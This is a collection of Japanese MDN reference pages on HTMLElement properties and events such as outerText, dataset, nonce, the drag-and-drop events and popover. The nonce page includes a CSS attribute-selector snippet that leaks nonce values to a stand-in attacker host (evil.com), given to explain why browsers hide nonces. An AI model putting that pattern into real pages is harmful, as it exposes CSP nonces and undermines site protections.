recursal/MDN huggingface dataset:
HTMLElement: outerText プロパティ
============================

**`outerText`** は `HTMLElement` インターフェイスのプロパティで、 `HTMLElement.innerText` と同じ値を返します。
 セッターとして使用するときは、現在のノード全体を指定されたテキストに置き換えます（これは現在のノードの*内部*のコンテンツを置き換える `innerText` と異なります）。

詳しい情報や、両プロパティをゲッターとして使用する方法を示した例は `HTMLElement.innerText` を参照してください。

値
-

文字列で、この要素とその配下で表示されるテキストコンテンツを表します。

要素自身が表示されていない場合（例えば、文書から切り離されていた場合や表示から隠されていた場合）、返値は `Node.textContent` プロパティのものと同じになります。

セッターとして使用された場合、この要素の子要素を指定された値で置き換え、すべての改行を `<br>` 要素に変換します。

例
-

この例では、 `outerText` と `innerText` をセッターとして使用した場合の根本的な違いを強調しています（ゲッターで使用した場合は同じです）。

**メモ:** この例は What is the difference between innerText and outerText? (Stack overflow) の記事で codingintrigue が作成し、 CC BY-SA 3.0 のライセンスで配布されているものを変更したものです。

以下のような HTML が入っているページがあるとします。


```html
<div>
  <p>元の内容</p>
</div>
```


`outerText` は選択された要素全体を置き換えますので、 JavaScript で `p.outerText = "要素全体を置換"` を実行すると、選択された `p` 要素全体を置き換えます。


```html
<div>要素全体を置換</div>
```


一方 `p.innerText = "要素内のコンテンツを置換"` を実行すると、選択された `p` 要素の*内部の*コンテンツを置き換えます。


```html
<div>
  <p>要素内のコンテンツを置換</p>
</div>
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-outertext |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* `HTMLElement.innerText`
* `Element.outerHTML`
HTMLElement: lang プロパティ
=======================

**`HTMLElement.lang`** プロパティは、要素の属性値とテキストコンテンツの基本言語を取得または設定します。

このプロパティによって返される言語コードは、 RFC 5646: Tags for Identifying Languages (BCP 47 とも呼ばれる) で定義されています。 一般的な例には、英語の "en"、日本語の "ja"、スペイン語の "es" などがあります。 この属性の既定値は `unknown` です。 この属性は、ここで説明する個々の要素レベルで有効ですが、ほとんどの場合、文書のルート要素に対して指定されます。

これも `lang` 属性でのみ機能し、`xml:lang` では機能しません。

値
-

文字列です。

例
-


```js
// このスニペットは基本言語を比較し、
// 言語に基づいて別の URL にリダイレクトするものです
if (document.documentElement.lang === "en") {
  window.location.href = "Some\_document.html.en";
} else if (document.documentElement.lang === "ru") {
  window.location.href = "Some\_document.html.ru";
}
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-lang |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
HTMLElement: drag イベント
======================

`drag` イベントは、要素や選択されたテキストをユーザーがドラッグしている間に、数百ミリ秒ごとに発生します。

構文
--

このイベント名を `addEventListener()` のようなメソッドで使用するか、イベントハンドラープロパティを設定するかします。


```js
addEventListener("drag", (event) => {});

ondrag = (event) => {};
```

イベント型
-----

`DragEvent` です。 `Event` を継承しています。

Event

UIEvent

MouseEvent

DragEventイベントプロパティ
---------

*以下に挙げたプロパティに加えて、親である `Event` から継承したプロパティもあります。*

`DragEvent.dataTransfer` 読取専用 

ドラッグ＆ドロップ操作の間に転送されるデータです。

例
-

### ドラッグ＆ドロップの例

#### HTML


```html
<div class="dropzone">
  <div id="draggable" draggable="true">この div はドラッグ可</div>
</div>
<div class="dropzone" id="droptarget"></div>
```


#### CSS


```css
body {
  /\* この例の中でユーザーによるテキストの選択を防止する \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

.dropzone {
  width: 200px;
  height: 20px;
  background: blueviolet;
  margin: 10px;
  padding: 10px;
}

.dropzone.dragover {
  background-color: purple;
}

.dragging {
  opacity: 0.5;
}
```


#### JavaScript


```js
let dragged;

/\* ドラッグ可能なターゲット上で発生するイベント \*/
const source = document.getElementById("draggable");
source.addEventListener("drag", (event) => {
  console.log("dragging");
});

source.addEventListener("dragstart", (event) => {
  // ドラッグ中の要素の参照を保存
  dragged = event.target;
  // 半透明にする
  event.target.classList.add("dragging");
});

source.addEventListener("dragend", (event) => {
  // 透明度を解除
  event.target.classList.remove("dragging");
});

/\* ドロップ対象に発生するイベント \*/
const target = document.getElementById("droptarget");
target.addEventListener(
  "dragover",
  (event) => {
    // ドロップできるように既定の動作を停止
    event.preventDefault();
  },
  false,
);

target.addEventListener("dragenter", (event) => {
  // ドラッグ可能な要素がドロップ先に入ったときに、ドロップ先の候補を強調表示する
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.add("dragover");
  }
});

target.addEventListener("dragleave", (event) => {
  // ドラッグ可能な要素がドロップ先から離れたときに、ドロップ先の候補の背景をリセットする
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.remove("dragover");
  }
});

target.addEventListener("drop", (event) => {
  // 既定の動作（一部の要素でリンクとして開く）を行わないようにする。
  event.preventDefault();
  // ドラッグした要素を選択されたドロップターゲットに移動する
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.remove("dragover");
    event.target.appendChild(dragged);
  }
});
```


#### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # ix-handler-ondrag |
| HTML Standard # event-dnd-drag |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* その他のドラッグ＆ドロップイベント:
    + `dragstart`
    + `dragend`
    + `dragover`
    + `dragenter`
    + `dragleave`
    + `drop`
* 他のターゲットにおけるこのイベント:
    + `Window`: `drag` イベント
    + `Document`: `drag` イベント
    + `SVGElement`: `drag` イベント
HTMLElement: nonce プロパティ
========================

**`nonce`** は `HTMLElement` インターフェイスのプロパティで、特定の読み取りを続行できるかどうかを決定するためにコンテンツセキュリティポリシーで使用される一度だけの暗号化番号を返します。

後の実装では、 `nonce` 属性を持つ要素はスクリプトにのみ公開します（CSS 属性セレクターのようなサイドチャネルには公開しません）。

例
-

### ノンス値の受け取り

以前は、すべてのブラウザーが IDL 属性の `nonce` に対応している訳ではなかったので、回避策としては、代替として `getAttribute` を使用するようにしていました。


```js
let nonce = script["nonce"] || script.getAttribute("nonce");
```


しかし、最近の版のブラウザーでは、この方法でアクセスすると `nonce` の値を隠します（空の文字列が返されます）。 IDL プロパティ (`script['nonce']`) がノンスにアクセスする唯一の方法となります。

ノンスを隠蔽することは、この CSS セレクターのようなコンテンツ属性からデータを取得するメカニズムによって、攻撃者がノンスデータを流出させることを防ぐのに役立ちます。


```css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-noncedelement-nonce |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* `nonce` グローバル属性
* コンテンツセキュリティポリシー
* CSP: `script-src`
HTMLElement: accessKeyLabel プロパティ
=================================

**`HTMLElement.accessKeyLabel`** は読み取り専用プロパティで、要素に割り当てられたアクセスキーを（あれば）文字列で返します。それ以外の場合は空文字列を返します。

構文
--


```js
label = element.accessKeyLabel
```

例
-

### JavaScript


```js
const btn = document.getElementById("btn1");
const shortcutLabel = btn.accessKeyLabel || btn.accessKey;
btn.title += ` [${shortcutLabel.toUpperCase()}]`;

btn.onclick = () => {
  const feedback = document.createElement("output");
  feedback.textContent = "Pressed!";
  btn.insertAdjacentElement("afterend", feedback);
};
```

### HTML


```html
<button accesskey="h" title="キャプション" id="btn1">
  マウスを当ててください
</button>
```

### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-accesskeylabel |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* `HTMLElement.accessKey`
* accesskey グローバル属性
HTMLElement: drop イベント
======================

**`drop`** イベントは、要素または選択されたテキストが、妥当なドロップターゲットにドロップされたときに発生します。

構文
--

このイベント名を `addEventListener()` のようなメソッドで使用するか、イベントハンドラープロパティを設定するかします。


```js
addEventListener("drop", (event) => {});

ondrop = (event) => {};
```

イベント型
-----

`DragEvent` です。 `Event` を継承しています。

Event

UIEvent

MouseEvent

DragEventイベントプロパティ
---------

*以下に挙げたプロパティに加えて、親である `Event` から継承したプロパティもあります。*

`DragEvent.dataTransfer` 読取専用 

ドラッグ＆ドロップ操作の間に転送されるデータです。

例
-

### 最小限のドラッグ＆ドロップの例

この例では、コンテナーの中にドラッグ可能な要素を置いています。要素を掴んで、他のコンテナーの上にドラッグし、そして放してみましょう。

ここでは、 3 つのイベントハンドラーを使用しています。

* `dragstart` イベント ハンドラーでは、ユーザーがドラッグした要素へのリファレンスを取得します。
* ターゲットコンテナーの `dragover` イベントハンドラーでは、 `event.preventDefault()` を呼び出し、`drop` イベントを受信できるようにします。
* ドロップゾーンの `drop` イベントハンドラーでは、ドラッグ可能な要素を元のコンテナからドロップゾーンに移動する処理を行います。

ドラッグ＆ドロップのより完全な例については、`drag` イベントのページを参照してください。

#### HTML


```html
<div class="dropzone">
  <div id="draggable" draggable="true">この div はドラッグ可</div>
</div>
<div class="dropzone" id="droptarget"></div>
```


#### CSS


```css
body {
  /\* 例でユーザーがテキストを選択するのを防ぐ \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

.dropzone {
  width: 200px;
  height: 20px;
  background: blueviolet;
  margin: 10px;
  padding: 10px;
}
```


#### JavaScript


```js
let dragged = null;

const source = document.getElementById("draggable");
source.addEventListener("dragstart", (event) => {
  // ドラッグ中の要素の参照を保存
  dragged = event.target;
});

const target = document.getElementById("droptarget");
target.addEventListener("dragover", (event) => {
  // ドロップできるように既定の動作を停止
  event.preventDefault();
});

target.addEventListener("drop", (event) => {
  // 既定の動作（一部の要素でリンクとして開く）を行わないようにする。
  event.preventDefault();
  // ドラッグした要素を選択されたドロップターゲットに移動する
  if (event.target.className === "dropzone") {
    dragged.parentNode.removeChild(dragged);
    event.target.appendChild(dragged);
  }
});
```


#### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # ix-handler-ondrop |
| HTML Standard # event-dnd-drop |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* その他のドラッグ＆ドロップイベント:
    + `drag`
    + `dragstart`
    + `dragend`
    + `dragover`
    + `dragenter`
    + `dragleave`
* 他を対象としたこのイベント:
    + `Window`: `drop` イベント
    + `Document`: `drop` イベント
    + `SVGElement`: `drop` イベント
HTMLElement: dataset プロパティ
==========================

**`dataset`** は `HTMLElement` インターフェイスの読み取り専用プロパティで、要素に設定されたすべてのカスタムデータ属性 (`data-*`) への読み取り/書き込みアクセスを提供します。これは文字列のマップである (`DOMStringMap`) で、それぞれの `data-*` 属性の項目です。

**メモ:** `dataset` プロパティ自体は読み取ることができますが、直接書き込むことはできません。
 代わりに、すべての書き込みは `dataset` 内の個々のプロパティに対して行う必要があり、それは data 属性を表します。


また、 HTML の `data-*` 属性とそれに対応する DOM `dataset.プロパティ` は同じ名前にはなりませんが、次のように常に近いものになります。

HTML では

属性の名前は、 `data-` で始まります。文字、数字、ダッシュ (`-`)、ドット (`.`)、コロン (`:`)、アンダースコア (`_`) のみを入れることができます。 ASCII 大文字の `A` から `Z` は小文字に変換されます。

JavaScript では

カスタムデータ属性のプロパティ名は、同じ HTML 属性の名前から `data-` の接頭辞を除いたものですが、そのプロパティのキャメルケース (camelCase) の名前であり、単一のダッシュ (`-`) を除いたものです。

以下の情報に加えて、データ属性の使用の記事に、HTML データ属性の使用方法に関するガイドがあります。

### 名前の変換

ダッシュスタイルからキャメルケースへの変換

カスタムデータ属性名は、次のルールに従って `DOMStringMap` 項目のキーに変換されます。

1. すべての ASCII の大文字 (`A` から `Z` まで) を小文字にします。
2. 接頭辞の `data-` を（ダッシュを含め）削除します。
3. ダッシュ (`U+002D`) に ASCII 小文字の `a` から `z` が続く場合、ダッシュを削除し、その文字を対応する大文字に変換します。
4. 他の文字 (他のダッシュを含む) は変更しません。

キャメルケースからダッシュスタイルへの変換

キーを属性名にマッピングする逆の変換では、以下のように次のルールが使用されます。

1. **制約事項:** 変換前に置いて、ダッシュの直後に ASCII 小文字 `a` から `z` を続けてはなりません。
2. 接頭辞として `data-` が追加されます。
3. ASCII 大文字の `A` から `Z` は、ダッシュと、その後に対応する小文字が続くものに変換されます。
4. 他の文字は変更しません。

例えば、`data-abc-def` という名前の属性は、キー `abcDef` に対応します。

### 値へのアクセス

* 属性は dataset のオブジェクトプロパティのようにキャメルケース名（キー）を使用して、 `element.dataset.keyname` のように設定したり読み取ったりすることができます。
* 属性はブラケット構文を使用して、 `element.dataset['keyname']` のように設定したり読み取ったりすることもできます。
* `in` 演算子を使用して、特定の属性が存在するかどうかを確認できます。
### 値の設定

* 属性が設定されると、その値は常に文字列に変換されます。
 例えば、 `element.dataset.example = null` は `data-example="null"` に変換されます。
* 属性を削除する場合は、`delete` 演算子が使用できます。
### 値

`DOMStringMap` です。

例
-


```html
<div id="user" data-id="1234567890" data-user="carinaanand" data-date-of-birth>
  Carina Anand
</div>
```



```js
const el = document.querySelector("#user");

// el.id === 'user'
// el.dataset.id === '1234567890'
// el.dataset.user === 'carinaanand'
// el.dataset.dateOfBirth === ''

// データ属性の設定
el.dataset.dateOfBirth = "1960-10-03";
// JS での結果: el.dataset.dateOfBirth === '1960-10-03'
// HTML での結果: <div id="user" data-id="1234567890" data-user="carinaanand" data-date-of-birth="1960-10-03">Carina Anand</div>

delete el.dataset.dateOfBirth;
// JS での結果: el.dataset.dateOfBirth === undefined
// HTML での結果: <div id="user" data-id="1234567890" data-user="carinaanand">Carina Anand</div>

if (!("someDataAttr" in el.dataset)) {
  el.dataset.someDataAttr = "mydata";
  // JS での結果: 'someDataAttr' in el.dataset === true
  // HTML での結果: <div id="user" data-id="1234567890" data-user="carinaanand" data-some-data-attr="mydata">Carina Anand</div>
}
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-dataset-dev |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* HTML の `data-*` クラスのグローバル属性
* データ属性の使用
* `Element.getAttribute()` および `Element.setAttribute()`
HTMLElement: title プロパティ
========================

**`HTMLElement.title`** プロパティは、要素のタイトルを表します。 通常、テキストは、マウスがノード上にあるときに「ツールチップ」ポップアップに表示されます。

値
-

文字列です。

例
-


```js
const link = document.createElement("a");
link.innerText = "ブドウ";
link.href = "https://ja.wikipedia.org/wiki/ブドウ";
link.title = "ブドウに関するウィキペディアのページ";
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-title |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* HTML の **title** グローバル属性
HTMLElement: copy イベント
======================

**`copy`** イベントは、ユーザーがブラウザーのユーザーインターフェイスからコピー操作を行おうとした時に発行されます。

構文
--

このイベント名を `addEventListener()` のようなメソッドで使用するか、イベントハンドラープロパティを設定するかします。


```js
addEventListener("copy", (event) => {});

oncopy = (event) => {};
```

イベント型
-----

`ClipboardEvent` です。 `Event` を継承しています。

Event

ClipboardEventイベントプロパティ
---------

*親である `Event` から継承したプロパティもあります。*

`ClipboardEvent.clipboardData` 読取専用 

`DataTransfer` オブジェクトで、ユーザーが行った `cut`, `copy`, `paste` 操作によって影響されたデータと MIME タイプが入ります。

例
-

この例では、 `<textarea>` からのすべてのコピーと貼り付けをブロックします。

### HTML


```html
<h3>このテキストエリアで実行してみる</h3>
<textarea id="editor" rows="3">
このフィールドにテキストをコピー＆ペーストしてみてください。
</textarea>

<h3>ログ:</h3>
<p id="log"></p>
```

### JavaScript


```js
const log = document.getElementById("log");

function logCopy(event) {
  log.innerText = `コピーがブロックされました。\n${log.innerText}`;
  event.preventDefault();
}

function logPaste(event) {
  log.innerText = `貼り付けがブロックされました。\n${log.innerText}`;
  event.preventDefault();
}

const editor = document.getElementById("editor");

editor.oncopy = logCopy;
editor.onpaste = logPaste;
```

### 結果

仕様書
---

| Specification |
| --- |
| Clipboard API and events # clipboard-event-copy |
| HTML Standard # handler-oncopy |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 関連イベント
    + `HTMLElement.cut_event`
    + `HTMLElement.paste_event`
HTMLElement: dragenter イベント
===========================

`dragenter` イベントは、ドラッグ中のイベントやテキストの選択範囲が、妥当なドロップターゲットに入ったときに発生します。

ターゲットのオブジェクトは*ユーザーによる直接の選択範囲*（ドロップターゲットとしてユーザーによって直接示された要素）、または `<body>` 要素です。

構文
--

このイベント名を `addEventListener()` のようなメソッドで使用するか、イベントハンドラープロパティを設定するかします。


```js
addEventListener("dragenter", (event) => {});

ondragenter = (event) => {};
```

イベント型
-----

`DragEvent` です。 `Event` を継承しています。

Event

UIEvent

MouseEvent

DragEventイベントプロパティ
---------

*以下に挙げたプロパティに加えて、親である `Event` から継承したプロパティもあります。*

`DragEvent.dataTransfer` 読取専用 

ドラッグ＆ドロップ操作の間に転送されるデータです。

例
-

### dragenter のドロップゾーンのスタイル付け

この例では、コンテナーの中にドラッグ可能な要素を入れています。この要素を掴んで、他のコンテナーの上にドラッグし、そして放してみましょう。

ドラッグ可能な要素がコンテナーの上にある間、 `dragenter` イベントを待ち受けて、他のコンテナーの背景を紫色にし、ドラッグ可能な要素がコンテナーにドロップされることを知らせます。

ドラッグ＆ドロップの完全な例については、`drag` イベントのページを参照してください。

#### HTML


```html
<div class="dropzone">
  <div id="draggable" draggable="true">この div はドラッグ可</div>
</div>
<div class="dropzone" id="droptarget"></div>
```


#### CSS


```css
body {
  /\* 例でユーザーがテキストを選択するのを防ぐ \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

.dropzone {
  width: 200px;
  height: 20px;
  background: blueviolet;
  margin: 10px;
  padding: 10px;
}

.dropzone.dragover {
  background-color: purple;
}
```


#### JavaScript


```js
const target = document.getElementById("droptarget");
target.addEventListener("dragenter", (event) => {
  // ドラッグ可能な要素がドロップ先に入ったときに、ドロップ先の候補を強調表示する
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.add("dragover");
  }
});

target.addEventListener("dragleave", (event) => {
  // ドラッグ可能な要素がドロップ先から離れたときに、ドロップ先の候補の背景をリセットする
  if (event.target.classList.contains("dropzone")) {
    event.target.classList.remove("dragover");
  }
});
```


#### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # ix-handler-ondragenter |
| HTML Standard # event-dnd-dragenter |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* その他のドラッグ＆ドロップイベント:
    + `drag`
    + `dragstart`
    + `dragend`
    + `dragover`
    + `dragleave`
    + `drop`
* 他を対象としたこのイベント:
    + `Window`: `dragenter` イベント
    + `Document`: `dragenter` イベント
    + `SVGElement`: `dragenter` イベント
HTMLElement: load イベント
======================

**`load`** イベントは、リソースを含む要素において、そのリソースが完全に読み込まれたときに発行されます。今のところ、対応している HTML 要素は、`<body>`、`<embed>`、`<iframe>`、`<img>`、`<link>`、`<object>`、`<script>`、`<style>`、`<track>` です。

**メモ:** 実際には `load` イベントは、`HTMLBodyElement` においては、 `window.onload` イベントの別名です。従って、`load` イベントは `<body>` 要素においては、その文書のすべてのリソースが読み込まれたかエラーになったときに、一度だけ発生します。しかし、わかりやすくするために、イベントハンドラーは `HTMLBodyElement` ではなく、`window` オブジェクトに直接取り付けることが推奨されます。

このイベtのはキャンセル不可で、バブリングしません。

構文
--

このイベント名を `addEventListener()` 等のメソッドで使用するか、イベントハンドラープロパティを設定するかしてください。


```js
elt.addEventListener("load", (event) => { ... });
// または
elt.onload = (event) => { ... };
```

イベント型
-----

一般的な `Event` です。

例
-

この例では、`<img>` 要素がリソースの読み込みに成功するたびに画面へ出力されます。

### HTML


```html
<img id="image" src="favicon144.png" alt="MDN logo" width="72" />
<div><button onclick="reload()">Reload</button></div>
```

### JavaScript


```js
const image = document.getElementById("image");
image.onload = () => {
  document.body.innerHTML += "<div>loaded!</div>";
};

function reload() {
  image.src = "favicon144.png";
}
```

### 結果

仕様書
---

#### No specification found

No specification data found for `api.HTMLElement.load_event`.  
Check for problems with this page or contribute a missing `spec_url` to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 関連イベント:
    + Window: `load` イベント
    + Window: `error` イベント
HTMLElement: dragstart イベント
===========================

`dragstart` イベントは、ユーザーが要素や選択されたテキストをドラッグし始めたときに発生します。

構文
--

このイベント名を `addEventListener()` のようなメソッドで使用するか、イベントハンドラープロパティを設定するかします。


```js
addEventListener("dragstart", (event) => {});

ondragstart = (event) => {};
```

イベント型
-----

`DragEvent` です。 `Event` を継承しています。

Event

UIEvent

MouseEvent

DragEventイベントプロパティ
---------

*以下に挙げたプロパティに加えて、親である `Event` から継承したプロパティもあります。*

`DragEvent.dataTransfer` 読取専用 

ドラッグ＆ドロップ操作の間に転送されるデータです。

例
-

### ドラッグ開始時に半透明にする

この例では、コンテナーの中にドラッグ可能な要素を入れています。要素を掴んでドラッグし、そして放してみましょう。

`dragstart` イベントを待ち受けすることで、ドラッグしている間、要素を半透明にします。

ドラッグ＆ドロップのより完全な例については、`drag` イベントのページを参照してください。

#### HTML


```html
<div id="container">
  <div id="draggable" draggable="true">この div はドラッグ可</div>
</div>
<div class="dropzone"></div>
```


#### CSS


```css
body {
  /\* 例でユーザーがテキストを選択するのを防ぐ \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

#container {
  width: 200px;
  height: 20px;
  background: blueviolet;
  padding: 10px;
}

.dragging {
  opacity: 0.5;
}
```


#### JavaScript


```js
const source = document.getElementById("draggable");
source.addEventListener("dragstart", (event) => {
  // 半透明にする
  event.target.classList.add("dragging");
});

source.addEventListener("dragend", (event) => {
  // 透明度を解除
  event.target.classList.remove("dragging");
});
```


#### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # ix-handler-ondragstart |
| HTML Standard # event-dnd-dragstart |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* その他のドラッグ＆ドロップイベント:
    + `drag`
    + `dragend`
    + `dragover`
    + `dragenter`
    + `dragleave`
    + `drop`
* 他を対象としたこのイベント:
    + `Window`: `dragstart` イベント
    + `Document`: `dragstart` イベント
    + `SVGElement`: `dragstart` イベント
HTMLElement: dragend イベント
=========================

`dragend` イベントは、ドラッグ操作が終わろうとしているとき（マウスボタンを離したり、エスケープキーを押したりしたとき）に発生します。

構文
--

このイベント名を `addEventListener()` のようなメソッドで使用するか、イベントハンドラープロパティを設定するかします。


```js
addEventListener("dragend", (event) => {});

ondragend = (event) => {};
```

イベント型
-----

`DragEvent` です。 `Event` を継承しています。

Event

UIEvent

MouseEvent

DragEventイベントプロパティ
---------

*以下に挙げたプロパティに加えて、親である `Event` から継承したプロパティもあります。*

`DragEvent.dataTransfer` 読取専用 

ドラッグ＆ドロップ操作の間に転送されるデータです。

例
-

### ドラッグ終了時に不透明度をリセットする

この例では、コンテナーの中にドラッグ可能な要素を入れています。要素を掴んで、ドラッグし、そして放してみましょう。

ドラッグしている間は要素を半透明にし、放したときに要素の不透明度をリセットするために `dragend` イベントを待ち受けます。

ドラッグ＆ドロップの完全な例については、 `drag` イベントのページを参照してください。

#### HTML


```html
<div id="container">
  <div id="draggable" draggable="true">この div はドラッグ可</div>
</div>
<div class="dropzone"></div>
```


#### CSS


```css
body {
  /\* 例でユーザーがテキストを選択するのを防ぐ \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

#container {
  width: 200px;
  height: 20px;
  background: blueviolet;
  padding: 10px;
}

.dragging {
  opacity: 0.5;
}
```


#### JavaScript


```js
const source = document.getElementById("draggable");
source.addEventListener("dragstart", (event) => {
  // 半透明にする
  event.target.classList.add("dragging");
});

source.addEventListener("dragend", (event) => {
  // 透明度を解除
  event.target.classList.remove("dragging");
});
```


#### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # ix-handler-ondragend |
| HTML Standard # event-dnd-dragend |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* その他のドラッグ＆ドロップイベント:
    + `drag`
    + `dragstart`
    + `dragover`
    + `dragenter`
    + `dragleave`
    + `drop`
* 他を対象としたこのイベント:
    + `Window`: `dragend` イベント
    + `Document`: `dragend` イベント
    + `SVGElement`: `dragend` イベント
HTMLElement: popover プロパティ
==========================

Limited availability
--------------------

This feature is not Baseline because it does not work in some of the most widely-used browsers.

* Learn more
* See full compatibility
* Report feedback
**Experimental:** **これは実験的な機能です。**  
本番で使用する前にブラウザー互換性一覧表をチェックしてください。

**`popover`** は `HTMLElement` インターフェイスのプロパティで、要素のポップオーバー状態（`"auto"` または `"manual"`）を JavaScript から取得したり設定したりします。機能検出に使用することもできます。

これは、HTML の `popover` グローバル属性の値を反映します。

値
-

列挙値です。取りうる値は次の通りです。

* `"auto"`: 自動状態になります。
    + ポップオーバーは「簡単に解除」することができます。これは、ポップオーバーの外をクリックするか、`Esc` キーを押すことで非表示にすることができます。
    + 通常、同時に表示できるポップオーバーは 1 つだけです。既に表示されているポップオーバーがあるときに 2 つ目を表示させると、1 つ目が非表示になります。このルールの例外は、入れ子の自動ポップオーバーがあるときです。詳しくは入れ子のポップオーバーを参照してください。
* `"manual"`: 手動状態になります。
    + ポップオーバーは「簡単に解除」することができませんが、宣言的な表示/非表示/トグルボタンは動作します。
    + 複数の独立したポップオーバーを同時に表示することができます。
例
-

### 機能検出

`popover` 属性を使用して、ポップオーバー API の機能を検出するすることができます。


```js
function supportsPopover() {
  return HTMLElement.prototype.hasOwnProperty("popover");
}
```

### ポップオーバーをプログラムで設定


```js
const popover = document.getElementById("mypopover");
const toggleBtn = document.getElementById("toggleBtn");

const popoverSupported = supportsPopover();

if (popoverSupported) {
  popover.popover = "auto";
  toggleBtn.popoverTargetElement = popover;
  toggleBtn.popoverTargetAction = "toggle";
} else {
  console.log("Popover API not supported.");
}
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-popover |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* ポップオーバー API